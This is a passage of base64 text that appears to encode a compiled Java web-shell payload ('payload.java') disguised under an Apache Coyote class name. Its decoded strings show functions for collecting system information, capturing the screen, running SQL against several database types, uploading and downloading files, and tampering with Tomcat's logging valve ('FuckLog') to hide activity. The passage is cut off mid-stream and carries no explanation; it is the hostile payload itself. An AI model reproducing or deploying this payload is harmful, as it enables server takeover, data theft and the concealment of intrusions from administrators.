vcy52ZXJzaW9uOiAlcyBvcy5hcmNoOiAlcwgDZgEAB29zLm5hbWUIA2gBAApvcy52ZXJzaW9uCANqAQAHb3MuYXJjaAgDbAEACUlQTGlzdCA6IAoAAQNuDANvAGUBAA5nZXRMb2NhbElQTGlzdAsDcQNzBwNyAQAVamF2YS91dGlsL0VudW1lcmF0aW9uDAN0AIEBAAtuZXh0RWxlbWVudAgDdgEAAyA6IAsDcQN4DAN5AYUBAA9oYXNNb3JlRWxlbWVudHMKAAEDewwDfAN9AQAGZ2V0RW52AQARKClMamF2YS91dGlsL01hcDsLA38DgQcDgAEADWphdmEvdXRpbC9NYXAMA4IDgwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7CwOFA4cHA4YBAA1qYXZhL3V0aWwvU2V0DAOIA4kBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsLA4sDjQcDjAEAEmphdmEvdXRpbC9JdGVyYXRvcgwDjgCBAQAEbmV4dAsDfwB8CwOLA5EMA5IBhQEAB2hhc05leHQBABdMamF2YS91dGlsL0VudW1lcmF0aW9uOwEACmJhc2ljc0luZm8BAAZ0bXBkaXIBAAhsYXN0Q2hhcgEAAUMBAAZlbnZNYXABAA9MamF2YS91dGlsL01hcDsBABRMamF2YS91dGlsL0l0ZXJhdG9yOwEABnNjcmVlbgcDnQEADmphdmEvYXd0L1JvYm90CgOcACgHA6ABABJqYXZhL2F3dC9SZWN0YW5nbGUKA6IDpAcDowEAEGphdmEvYXd0L1Rvb2xraXQMA6UDpgEAEWdldERlZmF1bHRUb29sa2l0AQAUKClMamF2YS9hd3QvVG9vbGtpdDsKA6IDqAwDqQOqAQANZ2V0U2NyZWVuU2l6ZQEAFigpTGphdmEvYXd0L0RpbWVuc2lvbjsJA6wDrgcDrQEAEmphdmEvYXd0L0RpbWVuc2lvbgwDrwD8AQAFd2lkdGgJA6wDsQwDsgD8AQAGaGVpZ2h0CgOfA7QMACYDtQEABShJSSlWCgOcA7cMA7gDuQEAE2NyZWF0ZVNjcmVlbkNhcHR1cmUBADQoTGphdmEvYXd0L1JlY3RhbmdsZTspTGphdmEvYXd0L2ltYWdlL0J1ZmZlcmVkSW1hZ2U7CAO7AQADcG5nCgO9A78HA74BABVqYXZheC9pbWFnZWlvL0ltYWdlSU8MA8ADwQEAF2NyZWF0ZUltYWdlT3V0cHV0U3RyZWFtAQA8KExqYXZhL2xhbmcvT2JqZWN0OylMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07CgO9A8MMAOkDxAEAWyhMamF2YS9hd3QvaW1hZ2UvUmVuZGVyZWRJbWFnZTtMamF2YS9sYW5nL1N0cmluZztMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07KVoBAAVyb2JvdAEAEExqYXZhL2F3dC9Sb2JvdDsBAAJhcwEAHkxqYXZhL2F3dC9pbWFnZS9CdWZmZXJlZEltYWdlOwEAAmJzAQAHZXhlY1NxbAEACkV4Y2VwdGlvbnMIA80BAAlkYkNoYXJzZXQIA88BAAZkYlR5cGUIA9EBAAZkYkhvc3QIA9MBAAZkYlBvcnQIA9UBAApkYlVzZXJuYW1lCAPXAQAKZGJQYXNzd29yZAgD2QEACGV4ZWNUeXBlCAPKCgB1A9wMACYD3QEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWCAPfAQAsY29tLm1pY3Jvc29mdC5zcWxzZXJ2ZXIuamRiYy5TUUxTZXJ2ZXJEcml2ZXIIA+EBAB9vcmFjbGUuamRiYy5kcml2ZXIuT3JhY2xlRHJpdmVyCAPjAQAYb3JhY2xlLmpkYmMuT3JhY2xlRHJpdmVyCAPlAQAYY29tLm15c3FsLmNqLmpkYmMuRHJpdmVyCAPnAQAVY29tLm15c3FsLmpkYmMuRHJpdmVyCAPpAQAVb3JnLnBvc3RncmVzcWwuRHJpdmVyCAPrAQAPb3JnLnNxbGl0ZS5KREJDCAPtAQAFbXlzcWwIA+8BAA1qZGJjOm15c3FsOi8vCAPxAQABOggD8wEAdT91c2VTU0w9ZmFsc2Umc2VydmVyVGltZXpvbmU9VVRDJnplcm9EYXRlVGltZUJlaGF2aW9yPWNvbnZlcnRUb051bGwmbm9EYXRldGltZVN0cmluZ1N5bmM9dHJ1ZSZjaGFyYWN0ZXJFbmNvZGluZz11dGYtOAgD9QEABm9yYWNsZQgD9wEAEmpkYmM6b3JhY2xlOnRoaW46QAgD+QEABTpvcmNsCAP7AQAJc3Fsc2VydmVyCAP9AQARamRiYzpzcWxzZXJ2ZXI6Ly8IA/8BAApwb3N0Z3Jlc3FsCAQBAQASamRiYzpwb3N0Z3Jlc3FsOi8vCAQDAQAGc3FsaXRlCAQFAQAMamRiYzpzcWxpdGU6CAQHAQAFamRiYzoKAAEECQwECgQLAQANZ2V0Q29ubmVjdGlvbgEATShMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL0Nvbm5lY3Rpb247CgQNBAkHBA4BABZqYXZhL3NxbC9Ecml2ZXJNYW5hZ2VyCwQQBBIHBBEBABNqYXZhL3NxbC9Db25uZWN0aW9uDAQTBBQBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3NxbC9TdGF0ZW1lbnQ7CAQWAQAGc2VsZWN0CAQYAQADb2sKCwQaBBwHBBsBABJqYXZhL3NxbC9TdGF0ZW1lbnQMBB0EHgEADGV4ZWN1dGVRdWVyeQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL1Jlc3VsdFNldDsLBCAEIgcEIQEAEmphdmEvc3FsL1Jlc3VsdFNldAwEIwQkAQALZ2V0TWV0YURhdGEBAB4oKUxqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YTsLBCYEKAcEJwEAGmphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhDAQpANcBAA5nZXRDb2x1bW5Db3VudAgEKwEAAiVzCwQmBC0MBC4BtwEADWdldENvbHVtbk5hbWUKAAEEMAwEMQBDAQAMYmFzZTY0RW5jb2RlCwQgBDMMBDQBtwEACWdldFN0cmluZwsEIAQ2DAOOAYULBCAAoQsEGgChCwQQAKELBBoEOwwEPAImAQANZXhlY3V0ZVVwZGF0ZQgEPgEAClF1ZXJ5IE9LLCAKAW4EQAwBegRBAQAbKEkpTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CARDAQAOIHJvd3MgYWZmZWN0ZWQIBEUBAANubyAIBEcBAAcgRGJ0eXBlCARJAQBITm8gcGFyYW1ldGVyIGRiVHlwZSxkYkhvc3QsZGJQb3J0LGRiVXNlcm5hbWUsZGJQYXNzd29yZCxleGVjVHlwZSxleGVjU3FsAQAHY2hhcnNldAEACmNvbm5lY3RVcmwBAAZkYkNvbm4BABVMamF2YS9zcWwvQ29ubmVjdGlvbjsBAAlzdGF0ZW1lbnQBABRMamF2YS9zcWwvU3RhdGVtZW50OwEACXJlc3VsdFNldAEAFExqYXZhL3NxbC9SZXN1bHRTZXQ7AQAIbWV0YURhdGEBABxMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAJY29sdW1uTnVtAQALYWZmZWN0ZWROdW0IBFcBAAppbnZhbGlkYXRlAQANYmlnRmlsZVVwbG9hZAgEWgEADGZpbGVDb250ZW50cwgEXAEACHBvc2l0aW9uCgH2BF4MACYEXwEAFihMamF2YS9sYW5nL1N0cmluZztaKVYHBGEBABhqYXZhL2lvL1JhbmRvbUFjY2Vzc0ZpbGUIBGMBAAJydwoEYARlDAAmBGYBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KVYKBGAEaAwEaQGqAQAEc2VlawoEYAFQCgRgAKEBABpMamF2YS9pby9SYW5kb21BY2Nlc3NGaWxlOwEAD2JpZ0ZpbGVEb3dubG9hZAgEbwEABG1vZGUIBHEBAAtyZWFkQnl0ZU51bQgEcwEACGZpbGVTaXplCgB1BHUMAYwEdgEAFShKKUxqYXZhL2xhbmcvU3RyaW5nOwgA1goBtAR5DAGMBHoBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvSW50ZWdlcjsKAbQEfAwEfQDXAQAIaW50VmFsdWUKAosAZwoCiwSADASBBIIBAARza2lwAQAEKEopSgoAAQSEDASFBIYBAAZjb3B5T2YBAAcoW0JJKVtCCASIAQAHbm8gbW9kZQEAEXJlYWRCeXRlTnVtU3RyaW5nAQAOcG9zaXRpb25TdHJpbmcBAAhyZWFkRGF0YQoEjQSPBwSOAQAOamF2YS9sYW5nL01hdGgMBJAEkQEAA21pbgEABShJSSlJAQAIb3JpZ2luYWwBAAluZXdMZW5ndGgBAAthcnJheU9mQnl0ZQgElgEADGphdmEudmVyc2lvbgoAdQSYDASZBJoBAAlzdWJzdHJpbmcBABYoSUkpTGphdmEvbGFuZy9TdHJpbmc7CQABBJwMABoAEwgEngEAEGphdmEubGFuZy5TeXN0ZW0IBKABAAZnZXRlbnYJAAEEogwAGwATCASkAQANamF2YS51dGlsLk1hcAEACmpyZVZlcnNpb24JAAEEpwwAHAATCASpAQAWamF2YS5zcWwuRHJpdmVyTWFuYWdlcgoATQSrDASsBK0BABFnZXREZWNsYXJlZEZpZWxkcwEAHCgpW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsKBK8BkgcEsAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkCASyAQAGcml2ZXJzCQABBLQMAB0AEwgEtgEADmphdmEudXRpbC5MaXN0CgSvBLgMBLkASwEAB2dldFR5cGUKBLsEvQcEvAEAImphdmEvbGFuZy9yZWZsZWN0L0FjY2Vzc2libGVPYmplY3QMBL4EvwEADXNldEFjY2Vzc2libGUBAAQoWilWCgSvAHwHBMIBAA5qYXZhL3V0aWwvTGlzdAsEwQOHCQABBMUMAB4AEwgExwEAD2phdmEuc3FsLkRyaXZlcgcEyQEAD2phdmEvc3FsL0RyaXZlcgcEywEAFGphdmEvdXRpbC9Qcm9wZXJ0aWVzCgTKACgIBM4BAAR1c2VyCgMpALoIBNEBAAhwYXNzd29yZAsEyATTDATUBNUBAAdjb25uZWN0AQA/KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL3V0aWwvUHJvcGVydGllczspTGphdmEvc3FsL0Nvbm5lY3Rpb247AQAIdXNlck5hbWUBAApjb25uZWN0aW9uAQAGZmllbGRzAQAaW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAdkcml2ZXJzAQAQTGphdmEvdXRpbC9MaXN0OwEABmRyaXZlcgEAEUxqYXZhL3NxbC9Ecml2ZXI7AQALZHJpdmVySW5mb3MBAApwcm9wZXJ0aWVzAQAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzOwoE5ATmBwTlAQAZamF2YS9uZXQvTmV0d29ya0ludGVyZmFjZQwE5wMtAQAUZ2V0TmV0d29ya0ludGVyZmFjZXMKBOQE6QwE6gMtAQAQZ2V0SW5ldEFkZHJlc3NlcwcE7AEAFGphdmEvbmV0L0luZXRBZGRyZXNzCgTrBO4MBO8AZQEADmdldEhvc3RBZGRyZXNzCwTBAvELBMEE8gwDAQTzAQAVKClbTGphdmEvbGFuZy9PYmplY3Q7CgJBBPUMAIgE9gEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmlwTGlzdAEAEW5ldHdvcmtJbnRlcmZhY2VzAQAQbmV0d29ya0ludGVyZmFjZQEAG0xqYXZhL25ldC9OZXR3b3JrSW50ZXJmYWNlOwEADWluZXRBZGRyZXNzZXMBAAtpbmV0QWRkcmVzcwEAFkxqYXZhL25ldC9JbmV0QWRkcmVzczsBAAJpcAgDUwgFAQEAG25vIG1ldGhvZCBnZXRSZWFsUGF0aE1ldGhvZAgFAwEAFnNlcnZsZXRDb250ZXh0IGlzIE51bGwBABFnZXRSZWFsUGF0aE1ldGhvZAEACXJldE9iamVjdAoBcQUHDAUIAYUBAAZkZWxldGUBAAFmAQABeAEAAmZzAQBLKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwUOAQASW0xqYXZhL2xhbmcvQ2xhc3M7AQATW0xqYXZhL2xhbmcvT2JqZWN0OwEAB2NsYXNzZXMBAAJvMQEADnBhcmFtZXRlckNsYXNzCgBNBRQMBRUAUQEAEWdldERlY2xhcmVkTWV0aG9kCgBNBRcMBRgASwEADWdldFN1cGVyY2xhc3MBAA1nZXRGaWVsZFZhbHVlAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsKAE0FHAwFHQUeAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEACWZpZWxkTmFtZQgFIQEAB2NvbnRleHQKAAEFIwwFGQUaCAUlAQAJZ2V0UGFyZW50CgABBScMAG8FDAgFKQEAC2dldFBpcGVsaW5lCAUrAQAIZ2V0Rmlyc3QIBS0BAAxnZXRDb25kaXRpb24IBS8BAAxzZXRDb25kaXRpb24IBTEBAAdGdWNrTG9nCAUzAQAHZ2V0TmV4dAgFNQEAGW9yZy5hcGFjaGUuY2F0YWxpbmEuVmFsdmUKAE0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